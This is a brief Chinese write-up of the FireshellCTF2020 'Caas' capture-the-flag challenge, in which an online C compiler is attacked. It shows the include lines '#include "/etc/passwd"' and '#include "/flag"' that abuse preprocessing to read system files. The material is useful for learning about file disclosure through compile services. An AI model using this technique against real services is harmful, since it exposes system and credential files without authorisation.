[FireshellCTF2020]Caas c语言预编译的文件包含

2023-12-13 14:36:56

打开网站

Welcome guest! Please input your code below and we will compile it for you.

提示我们会进行编译

随意输入

?报错 这里我们查询一下 是c语言的编译

我们尝试输入正确的代码

#include <stdio.h>
 
int main() {
    printf("Hello, World! \n");
    return 0;
}

?发现返回了一个文件 执行是我们的代码 所以这里其实是c语言的编译器没错了

这里我们可以通过 #include 引入文件 然后进行包含

#include "/etc/passwd"

发现成功读取到了 这里我们直接读取flag

#include "/flag"

文章来源:https://blog.csdn.net/m0_64180167/article/details/134970323
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。